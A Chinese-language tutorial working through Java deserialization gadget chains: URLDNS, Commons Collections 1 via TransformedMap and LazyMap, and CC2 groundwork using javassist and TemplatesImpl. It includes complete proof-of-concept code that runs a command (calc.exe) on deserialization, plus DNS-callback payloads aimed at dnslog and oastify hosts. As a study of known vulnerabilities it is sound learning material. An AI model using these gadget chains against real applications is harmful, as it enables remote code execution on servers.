✍内容

参考链接

java安全基础反序列化02 URLDNS利用链_哔哩哔哩_bilibili

浅显易懂的JAVA反序列化入门 - 先知社区 (aliyun.com)

深入理解 Java 反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)

【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)

IDEA常用快捷键

F7步入|F8步过|F9到下一个断点|ALT+F8评估表达式|Ctrl+F 文件内查找字符串|双击Shift 查找任何内容,可搜索类、资源、配置项、方法等,还能搜索路径|Ctrl + N 按类名搜索类|Ctrl + F12 查看当前类结构|Ctrl + H 查看类的层次关系|Alt + F7 查找类或方法在哪被使用

反序列化基础

参考:序列化和反序列化

URLDNS链分析

这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制

HashMap结合URL触发的DNS检查思路

利用链

1
2
3
4
5
6
7
8
9

HashMap --> readObject()

HashMap --> hash()

URL --> hashcode()

URL --> getByName()进行域名解析的函数

利用分析

首先新建一个DnsTester类,new一个HashMap对象和一个URL对象

1
2
3
4
5
6
7
8
9
10
11
12
import java.net.MalformedURLException;  
import java.net.URL;
import java.util.HashMap;

public class DnsTester {
public static void main(String[] args) throws MalformedURLException {
HashMap list = new HashMap<>();//新建HashMap对象
URL host = new URL("http://yp1vwv.dnslog.cn");
list.put(host,"22");

}
}

然后按住ctrl键,左键点击HashMap进入查看


点击查看结构窗口,然后找到readObject方法,找到下面有一个hash方法加密key

转到hash方法

可以看到传入hash方法中的是对象,然后使用对象的hashCode方法来进行加密

这条利用链用到的是URL类的hashCode方法

转到DnsTester类,然后ctrl+左键转到URL类中


找到hashCode方法,可以看到先是判断hashCode的值是不是-1,是的话就直接退出,不是的话就继续执行下面的代码

查看handler类中hashCode方法,ctrl+左键点击handler.hashCode()

这时候传入的是u,也就是我们一开始定义的URL对象

可以看到调用了URL对象的getHostAddress方法

转到getHostAddress方法

发现调用了InetAddress的getByName方法,这个方法的作用是通过DNS解析host的IP地址,利用链到这里就结束了

attention

但是我们需要的是需要将HashMap对象给序列化的,这样的话我们在反序列化前就会使用一次DNS解析,而这时候我们的本地就会有DNS记录,这时候我们将序列化的内容反序列化的时候就不会在dnslog平台产生请求记录了

解决方法:其实这个对远程的目标有什么影响,只是会影响本地的复现而已,而且使用新版本的burpsuite的collabrator也没什么影响

解决方式一:刷新本地dns记录

ipconfig /flushdns

解决方法二:使用反射修改hashCode的值

按照思路,只要在put方法之前将URL对象传入之前使用反射的方法将hashCode的值修改成非-1即可,代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;  
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class DnsTester {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap list = new HashMap<>();
URL host = new URL("http://fyhgocmxl650362zx0g1cw4t5kbbz1nq.oastify.com");
//添加反射,获取URL类中的HashCode方法
Class c = Class.forName("java.net.URL");
Field FieldhashCode = c.getDeclaredField("hashCode");
FieldhashCode.setAccessible(true);// 变量为 private 修改访问权限
FieldhashCode.set(host,1);//这里传入的是具体的URL对象和想要设置的值,只要不是-1就行
list.put(host,"22");//因为这时候hashCode不是-1,所以这时候就不会发生dns请求了
FieldhashCode.set(host,-1);//将值改过来
//将HashMap对象list序列化写入文件
FileOutputStream fileOutputStream = new FileOutputStream("./ser.txt");
ObjectOutputStream serial = new ObjectOutputStream(fileOutputStream);
serial.writeObject(list);
serial.close();
fileOutputStream.close();
}
}



重新新建一个java类文件写入反序列化代码,反序列化代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.FileInputStream;  
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeSerial {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("./ser.txt");
ObjectInputStream deserial = new ObjectInputStream(fileInputStream);
deserial.readObject();
deserial.close();
fileInputStream.close();
}
}

先运行序列化的代码,然后运行反序列化代码


如上图运行成功

注意:对于java21来说不允许通过反射修改private,但是java8没问题

解决方法:使用ysoserial中的利用方式

参考:
https://paper.seebug.org/1242/#_2
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#44f36f80

yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是,yso用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:

1
2
3
4
5
6
7
8
9
10
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

定义了一个URLConnection和getHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,这里直接return null了,所以自然也就不会产生dns查询。

那么为什么在反序列化时又可以产生dns查询了呢?是因为这里的handler属性被设置为transient,前面说了被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。

总结

  • 总结一下寻找漏洞的流程
    1、hashmap类中的反序列化方法readObject方法中调用了hash方法
    2、hash方法调用了传入的键值key对象的hashcode方法,因为这个对象是Object类型,所以传入有hashcode方法的对象即可
    3、鼠标停在hashcode方法上,按快捷键ctrl+alt+F7,打开右上角的设置,选择找重写方法,选择查找范围为库,然后按alt+F7进行查找,最后找到java.net.URL中有用到hashcode
    4、找到hashcode方法是使用的handler对象的hashcode方法,handler对象是URLStreamHandler类的对象
    5、转到URLStreamHandler类中hashCode方法,发现里面使用了getHostAddress方法
    6、转到getHostAddress方法,发现方法u.getHostAddress(),u是URL对象,又返回到URL类中的getHostAddress()方法
    7、转到URL类中的getHostAddress()方法,发现InetAddress.getByName(host)
    8、上一步getByName方法就是做dns解析

流程图

1
2
3
4
5
6
hashmap(readObject)->hashmap(readObject-->>hash)
->hashmap(hash-->>[obj]hashcode)
->URL(hashcode-->>URLStreamHandler.hashcode)
->URLStreamHandler(hashcode-->>[InetAddress]getHostAddress)
->URLStreamHandler(getHostAddress-->>[URL]u.getHostAddress())
->URL(InetAddress.getByName)

POC构造思路
目的是让hashmap反序列化的时候将key的对象执行hashcode方法,
而且执行的还要是URL类中的方法,所以我们需要传入一个URL类型的键到hashmap对象

1
2
3
HashMap list = new HashMap<>();//新建HashMap对象
URL host = new URL("http://yp1vwv.dnslog.cn");
list.put(host,"22");

Common Collections利用链分析

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

1
2
3
项目地址
官网:    http://commons.apache.org/proper/commons-collections/
Github:  https://github.com/apache/commons-collections

java源码环境搭建

因为在sun包中的都是class文件不是java源码,在查找某个函数的用法的时候只会在源码中找,所以需要下载sun包中的源码

下载地址:https://hg.openjdk.org/

根据网上所说的,在jdk8u65以后就修复了AnnotationInvocationHandler类的相关漏洞,所以最好下载jdk8u65以前的源码
jdk8u65源码路径:https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载对应的版本的JDK,也就是JDK8u65

选择JDK8u65的JDK版本,然后安装配置项目JDK即可

将刚刚下载的jdk8u65源码解压,然后将src\share\classes中的sun文件夹复制到jdk8u65安装目录下的src.zip中

然后配置一下IDEA中的项目结构中JDK为8u65即可

然后找到AnnotationInvocationHandler类

出现问题了,可能是源码或者JDK下错了,按照这个思路没有错,但是源码啥的一定要对应,否则就会有这个问题

最后尝试了半天使用了java7u80版本,源码对应位置:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/a942e0b52477

Common Collections1

参考:
Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
https://paper.seebug.org/1242/#_3

利用链

  • 第一部分:构造Runtime执行命令,并且解决Runtime序列化问题
    • public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
    • public ConstantTransformer(Object constantToReturn)
    • public ChainedTransformer(Transformer[] transformers)
  • 第二部分:扩大利用链
    • protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)
      • valueTransformer.transform()
  • 第三部分:反序列化利用
    • AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
      • readObject()–>>setValue()
      • setValue()–>>回到了TransformedMap的父类AbstractInputCheckedMapDecorator
      • 难点就是父类重写了setvalue方法,这一步回到了父类
      • 然后调用valueTransformer.transform(object);

详细见下面分析

环境搭建

因为不是自带的包,所以需要导入包到项目或者模块中才可以使用

这里使用maven导入比较简单哦

直接新建模块,选择maven
然后在pom.xml文件中添加版本3.1的commons-collections

1
2
3
4
5
6
7
<dependencies>  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

然后右键,选择maven中的下载源代码即可下载java源代码

如此,环境便是已经搭建完毕

利用链分析

在commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。我们看一下有哪些类实现了这个接口,直接鼠标停留在Transformer接口的transformer方法上,然后按住ctrl+alt+B,就可以看到所有实现了

其中有众多类实现了此接口,cc中主要利用到了以下三个。

InvokerTransformer

包路径如下:org.apache.commons.collections.functors.InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

这个类中的方法作用是传入一个类,然后利用反射调取这个里面的方法

其实最主要的漏洞就是这里了,只要我们创建InvokerTransformer对象,然后初始化的时候将我们的exec函数和想要执行的命令传进去,然后利用InvokerTransformer对象的transform方法将我们的Runtime对象传进去,就可以执行任意命令了

  • POC如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Tester {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
//这里根据定义的内容传入对应的参数,其实也是反射中调用类中函数的参数
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"});
invokerTransformer.transform(runtime);

}
}


  • 执行结果

    可以看到成功的弹出了计算机,但是序列化的时候只能序列化一个对象,然后这个对象如果是传入了我们的payload代码,在反序列化的时候如果服务端后面没有用我们传入恶意代码的InvokerTransformer对象的transform方法传入一个Runtime类型的代码,那么还是没有办法执行任意命令

    还需要实现的目的如下

  • 找到直接调用InvokerTransformer类的transform方法的对象或者是方法
  • 找到payload


好难⊙﹏⊙∥呜呜呜~~~

ChainedTransformer

因为需要寻找调用transform方法的类,所以转到Transformer接口中,鼠标选中transform方法,按住ctrl+alt+B,发现了有一个ChainedTransformer的类中的transformer方法如下

1
2
3
4
5
6
public Object transform(Object object) {  
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}


其中iTransformers是创建对象时传入的Transformer[]类型的数据

这个函数功能是从传入的Transformer数组中执行每一个的transform方法,并且将前面一个的返回结果传入后面一个对象的transform方法中,然后最后返回最后一个对象的transform函数执行的结果

  • 这里解决了我们的执行InvokerTransformer对象的transform方法的问题

使用这个对象的方法的话,只要服务端有执行ChainedTransformer对象的transform方法的话就会触发rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Tester {
public static void main(String[] args) {
//因为接口不能直接创建对象,所以这里使用的是匿名内部类的写法创建对象
Transformer[] transformers= new Transformer[]{new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.getRuntime());

}
}


  • 实现效果如下

    但是这样反序列化后,还是需要服务端执行chainedTransformer.transform(Runtime.getRuntime());

这几乎是不可能的,所以我们现在要找到一个类既有transform方法,且传入InvokerTransformer对象的transform方法的值是Runtime.getRuntime()对象

ConstantTransformer

找到ConstantTransformer对象的transform方法,作用是返回传入的对象

如果采用这个对象的方法的话,那么上面的问题就可以解决一半了

POC代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1Tester {
public static void main(String[] args) {
Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(111);


}
}

这里只是利用匿名类的方法将ConstantTransformer对象传入Transformer[]数组中,然后返回的值就是Runtime类型的,然后传入后面的transform方法,也就执行恶意代码了

  • 执行结果

如此,只要我们将ChainedTransformer对象序列化,然后传给服务端,且服务端存在操作ChainedTransformer的transform方法的命令,那么就利用成功了,但是这样利用还是有点难以实现,如果直接反序列化就可以执行恶意代码就完美了

在解决这个问题之前还有一个问题需要解决,就是Runtime不能够被序列化,因为他没有实现Serializable接口

解决Runtime序列化问题

这里因为有InvokerTransformer类的存在,所以可以考虑如下方法:

首先,在ChainedTransformer大框架下面,利用ConstantTransformer将Class类的Runtime传入InvokerTransformer的transform方法中,利用其反射的功能调用getMethod方法,获取Runtime的getRuntime方法的Method对象,然后再使用InvokerTransformer的transform方法执行Runtime.getRuntime命令,然后将Runtime对象传给下一个InvokerTransformer的transform方法,然后执行系统命令。

思路:

InvokerTransformer1——>获取getRuntime的Method对象
InvokerTransformer2——>获取Rumtime对象
InvokerTransformer3——>执行Rumtime对象的exec命令

InvokerTransformer在这怎个过程中相当于一个代理,通过这个对象中的transform方法来调用

正常的反射写法:

1
2
3
4
5
Class cls = Runtime.class;  
Method getRuntimeMethod = cls.getMethod("getRuntime",null);
Runtime r =(Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = cls.getMethod("exec", String.class);
execMethod.invoke(r,"calc.exe");

使用InvokerTransformer的写法:

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers= new Transformer[]{new ConstantTransformer(Runtime.class),  
//执行下面这条语句得到getRuntime方法的Method对象并且传入下一条语句,getMethod有两个参数,所以这里参数也需要2个
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//执行下面这条语句相当于getRuntimeMethod.invoke(null,null),也就是会直接执行Runtime.getRuntime(),然后返回Runtime对象给下一条语句
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
//执行下面这语句相当于执行execMethod.invoke(r,"calc.exe")
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(111);

这里的参数一定要写对,否则是复现不成功的,至此Runtime序列化的事情解决。

解决transform函数执行问题

最终我们是要回到readObject方法的,所以我们需要一层层的往上找,直到找到一个函数直接被readObject调用

鼠标停留在transform函数上面,然后查找用法

然后点击设置图标就可以选择作用域

找到TransformedMap类中有多个调用transform方法的函数

分析查看该类


可以看到这个transformKey函数对keyTransformer进行操作,若是不为null的话就调用transform方法

查看keyTransformer是什么

可以看到keyTransformer是一个Transformer类型的成员变量,可以被我们所控制,只要创建对象时就可以传入,然后按照思路编写代码如下

1
2
3
4
5
Map map = new HashMap<>();  
TransformedMap transformedMap = new TransformedMap(map,chain,null);
transformedMap.transformKey(111);

//chain是上面编写的,可参考上面

但是TransformedMap的构造方法是有protect修饰的,所以不能直接使用,幸好里面有一个public修饰的decorate方法可以直接创建一个新的TransformedMap对象

查看并分析decorate方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
return new TransformedMap(map, keyTransformer, valueTransformer);
}

decorate方法的最后一个参数是valueTransformer,key就写null就行了,这个valueTransformer就传chain

tip:用这个方法相当于Map map = new TransformedMap(—),也就是多态的写法

所以代码可以这样编写:

1
2
3
Map map = new HashMap<>();  
Map transformedMap = TransformedMap.decorate(map,null,chain);
transformedMap.trasformValue(111);

但是trasformValue方法是protect的,不能调用,只能寻找可以直接使用的调用trasformValue方法的方法

最后找到put方法

查看并且分析put方法

可以看到只要调用put就会调用transformValue方法,于是代码可以这样写:

1
2
3
4
5
6
7
8
9
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});

Map map = new HashMap<>();
Map transformedMap = TransformedMap.decorate(map,null,chain);
transformedMap.put(null,111);

也就是说,只要服务端将反序列化的对象转换成Map类型,然后执行了put方法就可以执行命令

还是不够啊,需要直接使用readObject反序列化后直接执行命令才行啊

  • 因为Map的put操作比较常见,换个思路,从readObject端思考,现在只需要找到readObject直接调用put方法的类就可以了

没有找到,找到所有的对Map对象进行操作的类,转到Map的用法,找到方法形参

找到了AnnotationInvocationHandler类的构造方法是传一个Map对象的

找到该类的readObject方法,发现有对Map对象进行操作

memberValue就是我们传入的值,readObject方法中有一个操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

但是看上面的操作,发现会对Map对象使用get操作,这时候我们只要找到对get方法操作有调用transform函数的即可,这时候转到tranform用法,发现了LazyMap中有使用get函数调用transform函数

然后发现了LazyMap中也有decorate方法,且该方法和TransformedMap一样的功能,新创建了一个LazyMap对象

如此,利用链便清晰了
_

完整POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),  
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});
// chain.transform(111);
Map map = new HashMap<>();
map.put("value","key");
Map transformmap = TransformedMap.decorate(map,null,chain);
//因为AnnotationInvocationHandler的构造方法和参数不是public。所以需要使用反射来调用
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
Object instance = handler_constructor.newInstance(Target.class,transformmap);
FileOutputStream fileOutputStream = new FileOutputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(instance);
outputStream.close();
fileOutputStream.close();

执行以上的代码后执行以下反序列化代码

1
2
3
4
5
FileInputStream fileInputStream = new FileInputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt");  
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();

注意:若是运行出现java源错误,可以修改设置中的java字节版本到相应的版本,然后项目结构中的模块的语言结构也改成相应结构即可

代码解释

map.put(“value”,”key”);
这里的键一定要是value,值的话随便

因为在AnnotationInvocationHandler中要先判根据键的类型是否是空
因为我们传入的是Target注解,可以看到里面只有value

所以需要传入value,然后就会继续往下执行,直到调用setValue,然后又因为transformerMap继承于AbstractInputCheckedMapDecorator接口,然后里面重写了MapEntry类的setValue方法

然后里面又调用了checkSetValue方法,于是就执行transform方法

至此,利用链完成

Lazymap链

上面用到TransformedMap是为了解决transform函数调用问题,Lazymap类也可以解决这个问题,而且ysoserial也是用的这个方法,下面就分析一下

首先找到了get方法可以调用transform方法,而factory变量是由我们控制的,就是传创建对象时传入的Map对象

里面有一个decorate方法和TransformedMap类中的decorate方法一样也是帮助我们创建Lazymap对象的,所以按照参数创建即可,如此只要由readObject调用Map的get方法即可实现调用transform方法,即可执行我们的恶意命令

AnnotationInvocationHandler类中的Invoke方法刚好有调用get方法

AnnotationInvocationHandler实现了InvocationHandler,由动态代理的知识可以想到AnnotationInvocationHandler可以建立动态代理

然后发现在readObject中调用了Map对象的entrySet方法

由此可以知道,只要AnnotationInvocationHandler建立Map的动态代理,然后将动态代理对象作为Map对象传入新的AnnotationInvocationHandler对象中,等到执行memberValues.entrySet()时就会先去AnnotationInvocationHandler中的involke中执行get方法,然后再回到LazyMap的get,就执行了transform

🎉代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException {  


ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});

Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chain);//使用decorate创建对象
//因为AnnotationInvocationHandler对象的构造方法由protect修饰,所以需要使用反射来创建对象 Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor1.setAccessible(true);
//创建Map类的代理对象
InvocationHandler InProxy = (InvocationHandler)constructor1.newInstance(Override.class,lazymap);
//这里的第一个参数一般是Obj.getClass().getClassLoader(),但是ClassLoader.getSystemClassLoader()也没什么影响
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},InProxy);
//创建新的AnnotationInvocationHandler对象,并且将proxyMap传入
Object handler = constructor1.newInstance(Override.class,proxyMap);
FileOutputStream fileOutputStream = new FileOutputStream("D:\\Desktop\\JavaTester\\CC1\\src\\main\\java\\org\\example\\ser.txt");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(handler);
outputStream.close();
fileOutputStream.close();
}

执行序列化和反序列化后会报错,但是已经成功执行命令了,所以利用成功

Common Collection2

参考链接:
https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

环境:java8、CommonsCollections 4.0

前言

✨需要掌握的前置知识:javasistClassLoader#defineClassTemplatesImpl

javasist

是一个处理字节码的类库,能够动态的修改class中的字节码
为了介绍这个类。新建一个项目,导入这个依赖,导入依赖代码如下

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
  • 使用步骤
    1、新建ClassPool
    ClassPool pool = ClassPool.getDefault();
    2、指定类搜索路径
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    3、创建一个class文件对象
    CtClass test = pool.makeClass(“Evil”);
    重新设置名称
    String name = “Evil” + System.nanoTime();
    test.setName(name);
    4、设置要继承的类
    test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    5、创建一个空的类初始化器(静态构造函数)
    CtConstructor constructor = test.makeClassInitializer();
    6、将字节码插入到开头(可选)
    constructor.insertBefore(“System.out.println("Hello,Javasist");”);

7、指定文件路径
test.writeFile(“./“);
这个路径就是项目的根目录

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class JavasistTest {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
//新建一个classpool类型的对象
ClassPool pool = ClassPool.getDefault();
//添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = test.makeClassInitializer();
constructor.insertBefore(cmd);
test.writeFile("./");
}
}

生成一个Evil.class文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Evil extends AbstractTranslet {
static {
System.out.println("Hello,Javasist");
}

public Evil() {
}
}

ClassLoader#defineClass

简介:ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类,ClassLoader有三个主要的函数loadClassfindClassdefineClass,其中defineClass的作用就是处理传入的字节码,将其处理成真正的Java类,这里因为后面需要用到defineClass方法,这里简单的介绍下

示例代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.*;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class JavasistTest {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
//新建一个classpool类型的对象
ClassPool pool = ClassPool.getDefault();
//添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass test = pool.makeClass("Evil");
// String name = "Evil" + System.nanoTime();
// test.setName(name);
String cmd = "System.out.println(\"Hello,Javasist\");";
test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = test.makeClassInitializer();
//插入字节码到开头
constructor.insertBefore(cmd);
test.writeFile("./");
Class cls = Class.forName("java.lang.ClassLoader");
Method method = cls.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] bytes = test.toBytecode();
Class clsEvil = (Class) method.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
clsEvil.newInstance();
}
}

执行后会将我们执行javassist生成的class文件中的字节码

注意:ClassLoader#defineClass返回的类并不会初始化,只有这个对象显式地调用其构造函数初始化代码才能被执行,也就是说我们虽然构造了一个恶意的类能够使用这个defineClass加载,但是它不会执行静态方法,所以我们需要想办法调用返回的类的构造函数才能执行命令,如上面的代码使用clsEvil.newInstance()创建新的对象就会执行静态方法发

原因的话估计是这个ProtectionDomain类中方法的作用做了什么限制

  • 但是这样需要明确调用构造函数并不太可能,所以我们可以尝试找一下没有显式的对定义域进行声明的defineClass方法

鼠标停在defineClass方法上按住alt+F7查找所有的重载方法,找到了接下来要介绍的TemplatesImpl类

TemplatesImpl

一步步的分析,若是想要使用defineClass方法,则需要使用TemplatesImpl的内部类TransletClassLoader
TransletClassLoader.defineClass()

然后一层层的找,直到找到哪一个可以直接通过TemplatesImpl调用的

  • 先查看调用TransletClassLoader的方法
    defineTransletClasses方法调用了TransletClassLoader

然后根据这个方法,最终找到一条链

1
2
3
4
5
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

这里一层层的往上找是因为defineClass()方法在defineClass类中,找到defineTransletClasses()调用该类,但是是private方法,所以继续往上找,找到一个public方法newTransformer(),往上找还有一个方法getOutputProperties()也可以

所以接下来需要分析怎么通过以上的链实现调用TemplatesImpl中的defineClass()方法

  • 我们从newTransformer()开始分析
    首先我们新建一个TemplatesImpl对象,然后调用newTransformer()方法或者是getOutputProperties()方法,这里使用反射的方法进行操作方便点
1
2
//创建一个实例
TemplatesImpl templates = TemplatesImpl.class.newInstance();

然后我们调用newTransformer()方法

1
templates.newTransformer();

但是这样是无法调用defineClass函数的,具体如下所示

调用newTransformer()方法是为了调用里面的getTransletInstance()方法,可以看到该方法中_name不等于null,_class等于null才可执行我们要执行的下一个函数defineTransletClasses()

我们转到声明处,发现是private属性的变量

所以我们需要利用反射的方法将这两个值设置一下,结合上面的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

TemplatesImpl templates = TemplatesImpl.class.newInstance();

Class temp = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//获取成员变量_name
Field _name = temp.getDeclaredField("_name");
//因为是private属性,设置一下可以修改
_name.setAccessible(true);
//随便传入一个非null值
_name.set(templates,"tttt");
//获取成员变量_class
Field _class = temp.getDeclaredField("_class");
_class.setAccessible(true);
//传入一个null值
_class.set(templates,null)

templates.newTransformer();

继续回到分析,上一步已经到了getTransletInstance(),并且条件我们已经顺利满足,继续执行下一个函数defineTransletClasses()


可以看到需要实现两个条件,一个是_bytecodes不为null,其实就是要传入我们的恶意类的字节码,一个是父类要是ABSTRACT_TRANSLET,他们的类型和值如下所示

